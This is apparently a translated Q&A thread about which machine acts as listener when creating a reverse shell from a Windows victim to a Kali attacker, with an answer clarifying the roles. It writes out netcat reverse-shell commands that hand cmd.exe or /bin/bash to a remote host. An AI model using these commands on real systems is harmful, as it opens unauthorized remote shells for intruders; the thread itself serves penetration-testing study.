创建从 Windows 系统到 Kali 机器的反向 shell - 哪个是监听器

Create a reverse shell from Windows system to a Kali machine - which one is the listener

我知道 reverse 和 bind shell 是什么以及如何使用 netcat/ncat 来解决它们,但我在这里面临的问题(可能是因为我不是以英语为母语的人)是这句话: “创建从 Windows 系统到 Kali 机器的反向 shell”

对我来说,这听起来像是必须在 Kali 机器上打开一个监听器,并从 Windows 机器向 Kali 提供一个命令提示符。像这样:

Linux : nc -nvlp portno --allow WindowsIP --ssl

Windows : nc -nv LinuxIP portno -e cmd.exe --ssl

但我读得越多,它就越让我感到困惑。 像

这样的定义

"Reverse shell is getting the connection from the victim or target to your computer"

或者像这样的例子:

"A can send a reverse shell from A's Linux machine to B: root@kali:~# nc -nv windowsIP Port -e /bin/bash"

这个例子增加了混淆 因为如果从 Linux 到 Windows 的反向 shell 意味着服务 bash shell ,然后从 Windows 向 Linux 发送反向 shell 将意味着提供 cmd。

有人可以解释一下我们如何识别哪台机器应该是给定这种查询的侦听器吗?

你的问题好像是关于英语的。我只能说你的解释是正确的:监听器是 Kali 机器,受害者是 Windows 机器(其中某种类型的 shell -- 通常是 cmd 或 powershell - - 已送达)。

我不确定为什么您认为您突出显示的任何引述都不同意这一点。也许第二个引用让你失望了,因为在那种情况下,受害者是一台 Linux 机器,而攻击者是 Windows 机器(它指定攻击者有一个 windowsIP)——这是非典型的,因为通常你来自卡利的攻击。请注意,在这种情况下,他们会在受害计算机上向您提供命令 运行 以连接回您的 windowsIP 攻击计算机。

如果您来自 Kali,并且能够在 Windows 受害机器上远程执行代码,那么您需要 运行 在 Windows 机器上进行 netcat,连接回到你的卡利。所以 Kali 正在监听来自 Windows 的连接。当你攻击一台 Windows 机器时,你通常必须上传一个 Windows 二进制版本的 netcat。然后,您使用 shell cmd.exe 或 Powershell 在 Windows 机器上调用 netcat。当它连接回 Kali 时,您可以 运行 来自攻击者 Kali 的那些 Windows shell 命令。